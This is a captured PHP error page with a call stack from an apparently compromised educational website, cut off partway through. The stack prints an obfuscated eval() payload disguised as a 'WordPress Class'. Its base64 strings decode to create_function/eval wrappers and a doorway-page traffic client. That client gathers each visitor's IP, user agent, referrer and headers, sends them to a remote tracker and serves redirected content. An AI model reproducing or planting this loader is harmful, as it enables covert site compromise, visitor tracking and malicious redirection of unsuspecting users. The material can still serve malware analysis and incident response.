( ! ) Notice: Undefined index: HTTP_REFERER in /home/mytoolsshoppy/public_html/nes.edu.in/z2la6/j65t.php(143) : runtime-created function(1) : eval()'d code(156) : runtime-created function(1) : eval()'d code on line 753 | ||||
---|---|---|---|---|
Call Stack | ||||
# | Time | Memory | Function | Location |
1 | 0.0002 | 362320 | {main}( ) | .../j65t.php:0 |
2 | 0.0007 | 420984 | __lambda_func( ) | .../j65t.php:145 |
3 | 0.0009 | 497616 | eval( ' $____='printf';$___________='WordPress Class...'; $___ = 'Y3JlYXRlX0ZVTkNUSU9O' ; $______= 'cmV0dXJuIGV2YWwoJF9fXyk7' ; $____ = 'base64_decode'; $___________='DQoJJGRvb3JfdHBsID0gImF1dG9fMjIwN183IjsNCgkkbXlfY2FtcF9JRCA9ICJXYmNHTG03Yk15R3RmMjQxIjsNCgkkcGFja19uYW1lICA9ICIyMzA3X3ByZWNhY2hlZF9OT1NMQVNIIjsNCgkkdHh0X2ZpbGVuYW1lICA9ICJqNjV0IjsNCgkNCg0KJG15X2dldF9hcnIgPSBhcnJheV92YWx1ZXMoJF9HRVQpOw0KJG15Zm5hbWUgPSAkbXlfZ2V0X2FyclswXTsNCgkNCmNsYXNzIEtDbGlja0NsaWVudA0Kew0KICAgIGNvbnN0IFNFU1NJT05fU1VCX0lEID0gJ3N1Yl9pZCc7DQogICAgY29uc3QgU0VTU0lPTl9MQU5ESU5HX1RPS0VOID0gJ2xhbmRpbmdfdG9rZW4nOw0KICAgIC8qKiBAdmVyc2lvbiAzLjUgKiovDQogICAgY29uc3QgVkVSU0lPTiA9IDM7DQogICAgY29uc3QgU1RBVEVfU0VTU0lPTl9LRVkgPSAna2VpdGFyb19zdGF0ZSc7DQogICAgY29uc3QgU1RBVEVfU0VTU0lPTl9FWFBJUkVTX0tFWSA9ICdrZWl0YXJvX3N0YXRlX2V4cGlyZXMnOw0KICAgIGNvbnN0IERFRkFVTFRfVFRMID0gMTsNCiAgICAvKioNCiAgICAgKiBAdmFyIEtIdHRwQ2xpZW50DQogICAgICovDQogICAgcHJpdmF0ZSAkX2h0dHBDbGllbnQ7DQogICAgcHJpdmF0ZSAkX2RlYnVnID0gZmFsc2U7DQogICAgcHJpdmF0ZSAkX3RyYWNrZXJVcmw7DQogICAgcHJpdmF0ZSAkX3BhcmFtcyA9IGFycmF5KCk7DQogICAgcHJpdmF0ZSAkX2xvZyA9IGFycmF5KCk7DQogICAgcHJpdmF0ZSAkX2V4Y2x1ZGVQYXJhbXMgPSBhcnJheSgnYXBpX2tleScsICd0b2tlbicsICdsYW5ndWFnZScsICd1YScsICdpcCcsICdyZWZlcnJlcicsICdmb3JjZV9yZWRpcmVjdF9vZmZlcicpOw0KICAgIHByaXZhdGUgJF9yZXN1bHQ7DQogICAgcHJpdmF0ZSAkX3N0YXRlUmVzdG9yZWQ7DQoNCiAgICBjb25zdCBFUlJPUiA9ICdbS1RyYWZmaWNDbGllbnRdIFNvbWV0aGluZyBpcyB3cm9uZy4gRW5hYmxlIGRlYnVnIG1vZGUgdG8gc2VlIHRoZSByZWFzb24uJzsNCg0KICAgIHB1YmxpYyBmdW5jdGlvbiBfX2NvbnN0cnVjdCgkdHJhY2tlclVybCwgJHRva2VuKQ0KICAgIHsNCiAgICAgICAgJHRoaXMtPnRyYWNrZXJVcmwoJHRyYWNrZXJVcmwpOw0KICAgICAgICAkdGhpcy0+Y2FtcGFpZ25Ub2tlbigkdG9rZW4pOw0KICAgICAgICAkdGhpcy0+dmVyc2lvbihzZWxmOjpWRVJTSU9OKTsNCiAgICAgICAgJHRoaXMtPnBhcmFtKCdpbmZvJywgMSk7DQogICAgICAgICR0aGlzLT5maWxsUGFyYW1zKCk7DQogICAgfQ0KDQogICAgcHVibGljIGZ1bmN0aW9uIGZpbGxQYXJhbXMoKQ0KICAgIHsNCiAgICAgICAgJHJlZmVycmVyID0gaXNzZXQoJF9TRVJWRVJbJ0hUVFBfUkVGRVJFUiddKSA/ICRfU0VSVkVSWydIVFRQX1JFRkVSRVInXSA6IG51bGw7DQogICAgICAgICR0aGlzLT5zZXRIdHRwQ2xpZW50KG5ldyBLSHR0cENsaWVudCgpKTsNCg0KICAgICAgICAkdGhpcy0+aXAoJHRoaXMtPl9maW5kSXAoKSkNCiAgICAgICAgICAgIC0+dWEoaXNzZXQoJF9TRVJWRVJbJ0hUVFBfVVNFUl9BR0VOVCddKSA/ICRfU0VSVkVSWydIVFRQX1VTRVJfQUdFTlQnXSA6IG51bGwpDQogICAgICAgICAgICAtPmxhbmd1YWdlKChpc3NldCgkX1NFUlZFUlsnSFRUUF9BQ0NFUFRfTEFOR1VBR0UnXSkgPyBzdWJzdHIoJF9TRVJWRVJbJ0hUVFBfQUNDRVBUX0xBTkdVQUdFJ10sIDAsIDIpIDogJycpKQ0KICAgICAgICAgICAgLT5zZVJlZmVycmVyKCRyZWZlcnJlcikNCiAgICAgICAgICAgIC0+cmVmZXJyZXIoJHJlZmVycmVyKQ0KICAgICAgICAgICAgLT5wYXJhbSgnb3JpZ2luYWxfaGVhZGVycycsIGdldGFsbGhlYWRlcnMoKSkNCiAgICAgICAgICAgIC0+cGFyYW0oJ29yaWdpbmFsX2hvc3QnLCBpc3NldCgkX1NFUlZFUlsnSFRUUF9IT1NUJ10pID8gJF9TRVJWRVJbJ0hUVFBfSE9TVCddIDogJ2xvY2FsaG9zdCcpDQogICAgICAgICAgICAtPnBhcmFtKCdrdmVyc2lvbicsICczLjQnKTsNCg0KICAgICAgICBpZiAoJHRoaXMtPmlzUHJlZmV0Y2hEZXRlY3RlZCgpKSB7DQogICAgICAgICAgICAkdGhpcy0+cGFyYW0oJ3ByZWZldGNoJywgMSk7DQogICAgICAgIH0NCiAgICB9DQoNCiAgICBwdWJsaWMgZnVuY3Rpb24gY3VycmVudFBhZ2VBc1JlZmVycmVyKCkNCiAgICB7DQogICAgICAgICR0aGlzLT5yZWZlcnJlcigkdGhpcy0+X2dldEN1cnJlbnRQYWdlKCkpOw0KICAgICAgICByZXR1cm4gJHRoaXM7DQogICAgfQ0KDQogICAgcHVibGljIGZ1bmN0aW9uIGRlYnVnKCRzdGF0ZSA9IHRydWUpDQogICAgew0KICAgICAgICAkdGhpcy0+X2RlYnVnID0gJHN0YXRlOw0KICAgICAgICByZXR1cm4gJHRoaXM7DQogICAgfQ0KDQogICAgcHVibGljIGZ1bmN0aW9uIHNlUmVmZXJyZXIoJHNlUmVmZXJyZXIpDQogICAgew0KICAgICAgICAkdGhpcy0+X3BhcmFtc1snc2VfcmVmZXJyZXInXSA9ICRzZVJlZmVycmVyOw0KICAgICAgICByZXR1cm4gJHRoaXM7DQogICAgfQ0KDQogICAgcHVibGljIGZ1bmN0aW9uIHJlZmVycmVyKCRyZWZlcnJlcikNCiAgICB7DQogICAgICAgICR0aGlzLT5fcGFyYW1zWydyZWZlcnJlciddID0gJHJlZmVycmVyOw0KICAgICAgICByZXR1cm4gJHRoaXM7DQogICAgfQ0KDQogICAgcHVibGljIGZ1bmN0aW9uIHNldEh0dHBDbGllbnQoJGh0dHBDbGllbnQpDQogICAgew0KICAgICAgICAkdGhpcy0+X2h0dHBDbGllbnQgPSAkaHR0cENsaWVudDsNCiAgICAgICAgcmV0dXJuICR0aGlzOw0KICAgIH0NCg0KICAgIHB1YmxpYyBmdW5jdGlvbiB0cmFja2VyVXJsKCRuYW1lKQ0KICAgIHsNCiAgICAgICAgJHRoaXMtPl90cmFja2VyVXJsID0gJG5hbWU7DQogICAgfQ0KDQogICAgLy8gQGRlcHJlY2F0ZWQNCiAgICBwdWJsaWMgZnVuY3Rpb24gdG9rZW4oJHRva2VuKQ0KICAgIHsNCiAgICAgICAgcmV0dXJuICR0aGlzLT5jYW1wYWlnblRva2VuKCR0b2tlbik7DQogICAgfQ0KDQogICAgcHVibGljIGZ1bmN0aW9uIGNhbXBhaWduVG9rZW4oJGNhbXBhaWduVG9rZW4pDQogICAgew0KICAgICAgICAkdGhpcy0+X3BhcmFtc1sndG9rZW4nXSA9ICRjYW1wYWlnblRva2VuOw0KICAgICAgICByZXR1cm4gJHRoaXM7DQogICAgfQ0KICAgIHB1YmxpYyBmdW5jdGlvbiB2ZXJzaW9uKCR2ZXJzaW9uKQ0KICAgIHsNCiAgICAgICAgJHRoaXMtPl9wYXJhbXNbJ3ZlcnNpb24nXSA9ICR2ZXJzaW9uOw0KICAgICAgICByZXR1cm4gJHRoaXM7DQogICAgfQ0KDQogICAgcHVibGljIGZ1bmN0aW9uIHVhKCR1YSkNCiAgICB7DQogICAgICAgICR0aGlzLT5fcGFyYW1zWyd1YSddID0gJHVhOw0KICAgICAgICByZXR1cm4gJHRoaXM7DQogICAgfQ0KDQogICAgcHVibGljIGZ1bmN0aW9uIGxhbmd1YWdlKCRsYW5ndWFnZSkNCiAgICB7DQogICAgICAgICR0aGlzLT5fcGFyYW1zWydsYW5ndWFnZSddID0gJGxhbmd1YWdlOw0KICAgICAgICByZXR1cm4gJHRoaXM7DQogICAgfQ0KDQogICAgcHVibGljIGZ1bmN0aW9uIGtleXdvcmQoJGtleXdvcmQpDQogICAgew0KICAgICAgICAkdGhpcy0+X3BhcmFtc1sna2V5d29yZCddID0gJGtleXdvcmQ7DQogICAgICAgIHJldHVybiAkdGhpczsNCiAgICB9DQoNCiAgICBwdWJsaWMgZnVuY3Rpb24gZm9yY2VSZWRpcmVjdE9mZmVyKCkNCiAgICB7DQogICAgICAgICR0aGlzLT5fcGFyYW1zWydmb3JjZV9yZWRpcmVjdF9vZmZlciddID0gMTsNCiAgICB9DQoNCiAgICBwdWJsaWMgZnVuY3Rpb24gaXAoJGlwKQ0KICAgIHsNCiAgICAgICAgJHRoaXMtPl9wYXJhbXNbJ2lwJ10gPSAkaXA7DQogICAgICAgIHJldHVybiAkdGhpczsNCiAgICB9DQoNCiAgICBwdWJsaWMgZnVuY3Rpb24gc2VuZFV0bUxhYmVscygpDQogICAgew0KICAgICAgICBmb3JlYWNoICgkX0dFVCBhcyAkbmFtZSA9PiAkdmFsdWUpIHsNCiAgICAgICAgICAgIGlmIChzdHJzdHIoJG5hbWUsICd1dG1fJykpIHsNCiAgICAgICAgICAgICAgICAkdGhpcy0+X3BhcmFtc1skbmFtZV0gPSAkdmFsdWU7DQogICAgICAgICAgICB9DQogICAgICAgIH0NCiAgICB9DQoNCiAgICBwdWJsaWMgZnVuY3Rpb24gc2V0TGFuZGluZ1Rva2VuKCR0b2tlbikNCiAgICB7DQogICAgICAgICR0aGlzLT5fc3RhcnRTZXNzaW9uKCk7DQogICAgICAgICRfU0VTU0lPTlsndG9rZW4nXSA9ICR0b2tlbjsNCiAgICB9DQoNCiAgICBwdWJsaWMgZnVuY3Rpb24gZ2V0U3ViSWQoKQ0KICAgIHsNCiAgICAgICAgJHJlc3VsdCA9ICR0aGlzLT5wZXJmb3JtUmVxdWVzdCgpOw0KICAgICAgICBpZiAoZW1wdHkoJHJlc3VsdC0+aW5mby0+c3ViX2lkKSkgew0KICAgICAgICAgICAgJHRoaXMtPmxvZygnTm8gc3ViX2lkIGlzIGRlZmluZWQnKTsNCiAgICAgICAgICAgIHJldHVybiAnbm9fc3ViaWQnOw0KICAgICAgICB9DQogICAgICAgICRzdWJJZCA9ICRyZXN1bHQtPmluZm8tPnN1Yl9pZDsNCiAgICAgICAgcmV0dXJuICRzdWJJZDsNCiAgICB9DQoNCiAgICBwdWJsaWMgZnVuY3Rpb24gZ2V0VG9rZW4oKQ0KICAgIHsNCiAgICAgICAgJHJlc3VsdCA9ICR0aGlzLT5wZXJmb3JtUmVxdWVzdCgpOw0KICAgICAgICBpZiAoZW1wdHkoJHJlc3VsdC0+aW5mby0+c3ViX2lkKSkgew0KICAgICAgICAgICAgJHRoaXMtPmxvZygnTm8gbGFuZGluZyB0b2tlbiBpcyBkZWZpbmVkJyk7DQogICAgICAgICAgICByZXR1cm4gJ25vX3Rva2VuJzsNCiAgICAgICAgfQ0KICAgICAgICAkc3ViSWQgPSAkcmVzdWx0LT5pbmZvLT50b2tlbjsNCiAgICAgICAgcmV0dXJuICRzdWJJZDsNCiAgICB9DQoNCiAgICBwdWJsaWMgZnVuY3Rpb24gc2VuZEFsbFBhcmFtcygpDQogICAgew0KICAgICAgICBmb3JlYWNoICgkX0dFVCBhcyAkbmFtZSA9PiAkdmFsdWUpIHsNCiAgICAgICAgICAgIGlmIChlbXB0eSgkdGhpcy0+X3BhcmFtc1skbmFtZV0pICYmICFpbl9hcnJheSgkbmFtZSwgJHRoaXMtPl9leGNsdWRlUGFyYW1zKSkgew0KICAgICAgICAgICAgICAgICR0aGlzLT5fcGFyYW1zWyRuYW1lXSA9ICR2YWx1ZTsNCiAgICAgICAgICAgIH0NCiAgICAgICAgfQ0KICAgIH0NCg0KICAgIHB1YmxpYyBmdW5jdGlvbiByZXN0b3JlRnJvbVNlc3Npb24oKQ0KICAgIHsNCiAgICAgICAgaWYgKCR0aGlzLT5pc1N0YXRlUmVzdG9yZWQoKSkgew0KICAgICAgICAgICAgcmV0dXJuOw0KICAgICAgICB9DQogICAgICAgICR0aGlzLT5fc3RhcnRTZXNzaW9uKCk7DQogICAgICAgIGlmICghZW1wdHkoJF9TRVNTSU9OW3NlbGY6OlNUQVRFX1NFU1NJT05fS0VZXSkpIHsNCiAgICAgICAgICAgIGlmICgkX1NFU1NJT05bc2VsZjo6U1RBVEVfU0VTU0lPTl9FWFBJUkVTX0tFWV0gPCB0aW1lKCkpIHsNCiAgICAgICAgICAgICAgICB1bnNldCgkX1NFU1NJT05bc2VsZjo6U1RBVEVfU0VTU0lPTl9LRVldKTsNCiAgICAgICAgICAgICAgICB1bnNldCgkX1NFU1NJT05bc2VsZjo6U1RBVEVfU0VTU0lPTl9FWFBJUkVTX0tFWV0pOw0KICAgICAgICAgICAgICAgICR0aGlzLT5sb2coJ1N0YXRlIGV4cGlyZWQnKTsNCiAgICAgICAgICAgIH0gZWxzZSB7DQogICAgICAgICAgICAgICAgJHRoaXMtPl9yZXN1bHQgPSBqc29uX2RlY29kZSgkX1NFU1NJT05bc2VsZjo6U1RBVEVfU0VTU0lPTl9LRVldLCBmYWxzZSk7DQogICAgICAgICAgICAgICAgaWYgKGlzc2V0KCR0aGlzLT5fcmVzdWx0KSAmJiBpc3NldCgkdGhpcy0+X3Jlc3VsdC0+aGVhZGVycykpIHsNCiAgICAgICAgICAgICAgICAgICAgJHRoaXMtPl9yZXN1bHQtPmhlYWRlcnMgPSBhcnJheSgpOw0KICAgICAgICAgICAgICAgIH0NCiAgICAgICAgICAgICAgICAkdGhpcy0+X3N0YXRlUmVzdG9yZWQgPSB0cnVlOw0KICAgICAgICAgICAgICAgICR0aGlzLT5sb2coJ1N0YXRlIHJlc3RvcmVkJyk7DQogICAgICAgICAgICB9DQogICAgICAgIH0NCiAgICB9DQoNCiAgICBwdWJsaWMgZnVuY3Rpb24gcmVzdG9yZUZyb21RdWVyeSgpDQogICAgew0KICAgICAgICBpZiAoaXNzZXQoJF9HRVRbJ19zdWJpZCddKSkgew0KICAgICAgICAgICAgJHRoaXMtPl9zdGF0ZVJlc3RvcmVkID0gdHJ1ZTsNCiAgICAgICAgICAgIGlmIChlbXB0eSgkdGhpcy0+X3Jlc3VsdCkpIHsNCiAgICAgICAgICAgICAgICAkdGhpcy0+X3Jlc3VsdCA9IG5ldyBTdGRDbGFzcygpOw0KICAgICAgICAgICAgICAgICR0aGlzLT5fcmVzdWx0LT5pbmZvID0gbmV3IFN0ZENsYXNzKCk7DQogICAgICAgICAgICB9DQogICAgICAgICAgICAkdGhpcy0+X3Jlc3VsdC0+aW5mby0+c3ViX2lkID0gJF9HRVRbJ19zdWJpZCddOw0KICAgICAgICAgICAgJHRoaXMtPmxvZygnU3ViSWQgbG9hZGVkIGZyb20gcXVlcnknKTsNCiAgICAgICAgICAgIGlmIChpc3NldCgkX0dFVFsnX3Rva2VuJ10pKSB7DQogICAgICAgICAgICAgICAgJHRoaXMtPl9yZXN1bHQtPmluZm8tPnRva2VuID0gJF9HRVRbJ190b2tlbiddOw0KICAgICAgICAgICAgICAgICR0aGlzLT5sb2coJ0xhbmRpbmcgdG9rZW4gbG9hZGVkIGZyb20gcXVlcnknKTsNCiAgICAgICAgICAgIH0NCiAgICAgICAgICAgICR0aGlzLT5fc3RvcmVTdGF0ZSgkdGhpcy0+X3Jlc3VsdCwgc2VsZjo6REVGQVVMVF9UVEwpOw0KICAgICAgICAgICAgJHRoaXMtPl9zdGF0ZVJlc3RvcmVkID0gdHJ1ZTsNCiAgICAgICAgfQ0KICAgIH0NCg0KICAgIHB1YmxpYyBmdW5jdGlvbiBpc1N0YXRlUmVzdG9yZWQoKQ0KICAgIHsNCiAgICAgICAgcmV0dXJuICR0aGlzLT5fc3RhdGVSZXN0b3JlZDsNCiAgICB9DQoNCiAgICBwdWJsaWMgZnVuY3Rpb24gaXNQcmVmZXRjaERldGVjdGVkKCkNCiAgICB7DQogICAgICAgICRjaGVja1NlcnZlclBhcmFtcyA9IGFycmF5KCdIVFRQX1hfUFVSUE9TRScgPT4gJ3ByZXZpZXcnLCAnSFRUUF9YX01PWicgPT4gJ3ByZWZldGNoJywgJ0hUVFBfWF9GQl9IVFRQX0VOR0lORScgPT4gJ0xpZ2VyJyk7DQogICAgICAgIGZvcmVhY2ggKCRjaGVja1NlcnZlclBhcmFtcyBhcyAkbmFtZSA9PiAkdmFsdWUpIHsNCiAgICAgICAgICAgIGlmIChpc3NldCgkX1NFUlZFUlskbmFtZV0pICYmICRfU0VSVkVSWyRuYW1lXSA9PSAkdmFsdWUpIHsNCiAgICAgICAgICAgICAgICByZXR1cm4gdHJ1ZTsNCiAgICAgICAgICAgIH0NCiAgICAgICAgfQ0KICAgICAgICByZXR1cm4gZmFsc2U7DQogICAgfQ0KDQogICAgcHVibGljIGZ1bmN0aW9uIHNhdmVDb29raWUoJGtleSwgJHZhbHVlLCAkdHRsKQ0KICAgIHsNCiAgICAgICAgaWYgKGlzc2V0KCRfQ09PS0lFWyRrZXldKSAmJiAkX0NPT0tJRVska2V5XSA9PSAkdmFsdWUpIHsNCiAgICAgICAgICAgIHJldHVybjsNCiAgICAgICAgfQ0KICAgICAgICBpZiAoIWhlYWRlcnNfc2VudCgpKSB7DQogICAgICAgICAgICBzZXRjb29raWUoJGtleSwgJHZhbHVlLCAkdGhpcy0+X2dldENvb2tpZXNFeHBpcmVUaW1lc3RhbXAoJHR0bCksICcvJywgJHRoaXMtPl9nZXRDb29raWVIb3N0KCkpOw0KICAgICAgICB9DQogICAgICAgICRfQ09PS0lFWyRrZXldID0gJHZhbHVlOw0KICAgIH0NCg0KICAgIHB1YmxpYyBmdW5jdGlvbiBwYXJhbSgkbmFtZSwgJHZhbHVlKQ0KICAgIHsNCiAgICAgICAgaWYgKCFpbl9hcnJheSgkbmFtZSwgJHRoaXMtPl9leGNsdWRlUGFyYW1zKSkgew0KICAgICAgICAgICAgJHRoaXMtPl9wYXJhbXNbJG5hbWVdID0gJHZhbHVlOw0KICAgICAgICB9DQogICAgICAgIHJldHVybiAkdGhpczsNCiAgICB9DQoNCiAgICBwdWJsaWMgZnVuY3Rpb24gcGFyYW1zKCR2YWx1ZSkNCiAgICB7DQogICAgICAgIGlmICghZW1wdHkoJHZhbHVlKSkgew0KICAgICAgICAgICAgaWYgKGlzX3N0cmluZygkdmFsdWUpKSB7DQogICAgICAgICAgICAgICAgcGFyc2Vfc3RyKCR2YWx1ZSwgJHJlc3VsdCk7DQogICAgICAgICAgICAgICAgZm9yZWFjaCAoJHJlc3VsdCBhcyAkbmFtZSA9PiAkdmFsdWUpIHsNCiAgICAgICAgICAgICAgICAgICAgJHRoaXMtPnBhcmFtKCRuYW1lLCAkdmFsdWUpOw0KICAgICAgICAgICAgICAgIH0NCiAgICAgICAgICAgIH0NCiAgICAgICAgfQ0KDQogICAgICAgIHJldHVybiAkdGhpczsNCiAgICB9DQoNCiAgICBwdWJsaWMgZnVuY3Rpb24gcmVzZXQoKQ0KICAgIHsNCiAgICAgICAgJHRoaXMtPl9yZXN1bHQgPSBudWxsOw0KICAgIH0NCg0KICAgIHB1YmxpYyBmdW5jdGlvbiBwZXJmb3JtUmVxdWVzdCgpDQogICAgew0KICAgICAgICBpZiAoJHRoaXMtPl9yZXN1bHQpIHsNCiAgICAgICAgICAgIHJldHVybiAkdGhpcy0+X3Jlc3VsdDsNCiAgICAgICAgfQ0KICAgICAgICAkcmVxdWVzdCA9ICR0aGlzLT5fYnVpbGRSZXF1ZXN0VXJsKCk7DQogICAgICAgICRwYXJhbXMgPSAkdGhpcy0+Z2V0UGFyYW1zKCk7DQogICAgICAgICRvcHRpb25zID0gJHRoaXMtPl9nZXRSZXF1ZXN0T3B0aW9ucygpOw0KICAgICAgICAkdGhpcy0+bG9nKCdSZXF1ZXN0OiAnIC4gJHJlcXVlc3QpOw0KICAgICAgICB0cnkgew0KICAgICAgICAgICAgJHJlc3VsdCA9ICR0aGlzLT5faHR0cENsaWVudC0+cmVxdWVzdCgkcmVxdWVzdCwgJHBhcmFtcywgJG9wdGlvbnMpOw0KICAgICAgICAgICAgJHRoaXMtPmxvZygnUmVzcG9uc2U6ICcgLiAkcmVzdWx0KTsNCiAgICAgICAgfSBjYXRjaCAoS1RyYWZmaWNDbGllbnRFcnJvciAkZSkgew0KICAgICAgICAgICAgaWYgKCR0aGlzLT5fZGVidWcpIHsNCiAgICAgICAgICAgICAgICB0aHJvdyAkZTsNCiAgICAgICAgICAgIH0gZWxzZSB7DQogICAgICAgICAgICAgICAgcmV0dXJuIHNlbGY6OkVSUk9SOw0KICAgICAgICAgICAgfQ0KICAgICAgICB9DQogICAgICAgICR0aGlzLT5fcmVzdWx0ID0ganNvbl9kZWNvZGUoJHJlc3VsdCk7DQogICAgICAgICR0aGlzLT5fc3RvcmVTdGF0ZSgNCiAgICAgICAgICAgICR0aGlzLT5fcmVzdWx0LA0KICAgICAgICAgICAgaXNzZXQoJHRoaXMtPl9yZXN1bHQtPmNvb2tpZXNfdHRsKSA/ICR0aGlzLT5fcmVzdWx0LT5jb29raWVzX3R0bCA6IG51bGwNCiAgICAgICAgKTsNCg0KICAgICAgICBpZiAoaXNzZXQoJHRoaXMtPl9yZXN1bHQtPmNvb2tpZXMpKSB7DQogICAgICAgICAgICAkdGhpcy0+X3NhdmVLZWl0YXJvQ29va2llcygkdGhpcy0+X3Jlc3VsdC0+Y29va2llcyAsICR0aGlzLT5fcmVzdWx0LT5jb29raWVzX3R0bCk7DQogICAgICAgIH0NCiAgICAgICAgcmV0dXJuICR0aGlzLT5fcmVzdWx0Ow0KICAgIH0NCg0KICAgIHB1YmxpYyBmdW5jdGlvbiBleGVjdXRlKCRicmVhayA9IGZhbHNlLCAkcHJpbnQgPSB0cnVlKQ0KICAgIHsNCiAgICAgICAgJGNvbnRlbnQgPSAkdGhpcy0+Z2V0Q29udGVudCgpOw0KDQogICAgICAgIGlmICgkcHJpbnQpIHsNCiAgICAgICAgICAgICRoZWFkZXJzID0gJHRoaXMtPnNlbmRIZWFkZXJzKCk7DQogICAgICAgICAgICBlY2hvICRjb250ZW50Ow0KICAgICAgICB9IGVsc2Ugew0KICAgICAgICAgICAgcmV0dXJuICRjb250ZW50Ow0KICAgICAgICB9DQoNCiAgICAgICAgaWYgKCRicmVhayAmJiAoIWVtcHR5KCRjb250ZW50KSB8fCAkdGhpcy0+Y2hlY2tIZWFkZXJzKCRoZWFkZXJzKSkpIHsNCiAgICAgICAgICAgIGV4aXQ7DQogICAgICAgIH0NCiAgICB9DQoNCiAgICBwdWJsaWMgZnVuY3Rpb24gY2hlY2tIZWFkZXJzKCRoZWFkZXJzKQ0KICAgIHsNCiAgICAgICAgaWYgKGVtcHR5KCRoZWFkZXJzKSkgew0KICAgICAgICAgICAgcmV0dXJuOw0KICAgICAgICB9DQogICAgICAgIGZvcmVhY2ggKCRoZWFkZXJzIGFzICRoZWFkZXIpIHsNCiAgICAgICAgICAgIGlmIChzdHJwb3MoJGhlYWRlciwgJ0xvY2F0aW9uOicpID09PSAwKSB7DQogICAgICAgICAgICAgICAgcmV0dXJuIHRydWU7DQogICAgICAgICAgICB9DQogICAgICAgICAgICBpZiAoJGhlYWRlciA9PSAnSFRUUC8xLjEgNDA0IE5vdCBGb3VuZCcpIHsNCiAgICAgICAgICAgICAgICByZXR1cm4gdHJ1ZTsNCiAgICAgICAgICAgIH0NCiAgICAgICAgfQ0KICAgICAgICByZXR1cm4gZmFsc2U7DQogICAgfQ0KDQogICAgcHVibGljIGZ1bmN0aW9uIGdldENvbnRlbnQoKQ0KICAgIHsNCiAgICAgICAgJHJlc3VsdCA9ICR0aGlzLT5wZXJmb3JtUmVxdWVzdCgpOw0KICAgICAgICAkY29udGVudCA9ICcnOw0KICAgICAgICBpZiAoIWVtcHR5KCRyZXN1bHQpKSB7DQogICAgICAgICAgICBpZiAoIWVtcHR5KCRyZXN1bHQtPmVycm9yKSkgew0KICAgICAgICAgICAgICAgICRjb250ZW50IC49ICAkcmVzdWx0LT5lcnJvcjsNCiAgICAgICAgICAgIH0NCiAgICAgICAgICAgIGlmICghZW1wdHkoJHJlc3VsdC0+Ym9keSkpIHsNCiAgICAgICAgICAgICAgICBpZiAoaXNzZXQoJHJlc3VsdC0+Y29udGVudFR5cGUpICYmIChzdHJzdHIoJHJlc3VsdC0+Y29udGVudFR5cGUsICdpbWFnZScpIHx8IHN0cnN0cigkcmVzdWx0LT5jb250ZW50VHlwZSwgJ2FwcGxpY2F0aW9uL3BkZicpKSkgew0KICAgICAgICAgICAgICAgICAgICAkY29udGVudCA9IGJhc2U2NF9kZWNvZGUoJHJlc3VsdC0+Ym9keSk7DQogICAgICAgICAgICAgICAgfSBlbHNlIHsNCiAgICAgICAgICAgICAgICAgICAgJGNvbnRlbnQgLj0gJHJlc3VsdC0+Ym9keTsNCiAgICAgICAgICAgICAgICB9DQogICAgICAgICAgICB9DQogICAgICAgIH0NCg0KICAgICAgICByZXR1cm4gJGNvbnRlbnQ7DQogICAgfQ0KDQogICAgcHVibGljIGZ1bmN0aW9uIHNob3dMb2coJHNlcGFyYXRvciA9ICc8YnIgLz4nKQ0KICAgIHsNCiAgICAgICAgZWNobyAnPGhyPicgLiBpbXBsb2RlKCRzZXBhcmF0b3IsICR0aGlzLT5nZXRMb2coKSkuICc8aHI+JzsNCiAgICB9DQoNCiAgICBwdWJsaWMgZnVuY3Rpb24gbG9nKCRtc2cpDQogICAgew0KICAgICAgICBpZiAoJHRoaXMtPl9kZWJ1Zykgew0KICAgICAgICAgICAgZXJyb3JfbG9nKCRtc2cpOw0KICAgICAgICB9DQogICAgICAgICR0aGlzLT5fbG9nW10gPSAkbXNnOw0KICAgIH0NCg0KICAgIHB1YmxpYyBmdW5jdGlvbiBnZXRMb2coKQ0KICAgIHsNCiAgICAgICAgcmV0dXJuICR0aGlzLT5fbG9nOw0KICAgIH0NCg0KICAgIHB1YmxpYyBmdW5jdGlvbiBleGVjdXRlQW5kQnJlYWsoKQ0KICAgIHsNCiAgICAgICAgJHRoaXMtPmV4ZWN1dGUodHJ1ZSk7DQogICAgfQ0KDQogICAgcHVibGljIGZ1bmN0aW9uIGdldFBhcmFtcygpDQogICAgew0KICAgICAgICByZXR1cm4gJHRoaXMtPl9wYXJhbXM7DQogICAgfQ0KDQogICAgcHJpdmF0ZSBmdW5jdGlvbiBfc3RvcmVTdGF0ZSgkcmVzdWx0LCAkdHRsKQ0KICAgIHsNCiAgICAgICAgJHRoaXMtPl9zdGFydFNlc3Npb24oKTsNCiAgICAgICAgJF9TRVNTSU9OW3NlbGY6OlNUQVRFX1NFU1NJT05fS0VZXSA9IGpzb25fZW5jb2RlKCRyZXN1bHQpOw0KICAgICAgICAkX1NFU1NJT05bc2VsZjo6U1RBVEVfU0VTU0lPTl9FWFBJUkVTX0tFWV0gPSB0aW1lKCkgKyAoJHR0bCAqIDYwICogNjApOw0KDQogICAgICAgIC8vIGZvciBiYWNrLWNvbXBhdGliaWxpdHkgcHVycG9zZQ0KICAgICAgICBpZiAoIWVtcHR5KCRyZXN1bHQtPmluZm8pKSB7DQogICAgICAgICAgICBpZiAoIWVtcHR5KCRyZXN1bHQtPmluZm8tPnN1Yl9pZCkpIHsNCiAgICAgICAgICAgICAgICAkX1NFU1NJT05bc2VsZjo6U0VTU0lPTl9TVUJfSURdID0gJHJlc3VsdC0+aW5mby0+c3ViX2lkOw0KICAgICAgICAgICAgfQ0KICAgICAgICAgICAgaWYgKCFlbXB0eSgkcmVzdWx0LT5pbmZvLT50b2tlbikpIHsNCiAgICAgICAgICAgICAgICAkX1NFU1NJT05bc2VsZjo6U0VTU0lPTl9MQU5ESU5HX1RPS0VOXSA9ICRyZXN1bHQtPmluZm8tPnRva2VuOw0KICAgICAgICAgICAgfQ0KICAgICAgICB9DQogICAgfQ0KDQogICAgcHJpdmF0ZSBmdW5jdGlvbiBfc2F2ZUtlaXRhcm9Db29raWVzKCRjb29raWVzLCAkdHRsKQ0KICAgIHsNCiAgICAgICAgZm9yZWFjaCAoJGNvb2tpZXMgYXMgJGtleSA9PiAkdmFsdWUpIHsNCiAgICAgICAgICAgICR0aGlzLT5zYXZlQ29va2llKCRrZXksICR2YWx1ZSwgJHR0bCk7DQogICAgICAgIH0NCiAgICB9DQoNCiAgICBwdWJsaWMgZnVuY3Rpb24gc2VuZEhlYWRlcnMoKQ0KICAgIHsNCiAgICAgICAgJHJlc3VsdCA9ICR0aGlzLT5wZXJmb3JtUmVxdWVzdCgpOw0KICAgICAgICAkaGVhZGVycyA9IGFycmF5KCk7DQogICAgICAgICRmaWxlID0gIiI7DQogICAgICAgICRsaW5lID0gIiI7DQogICAgICAgIGlmIChoZWFkZXJzX3NlbnQ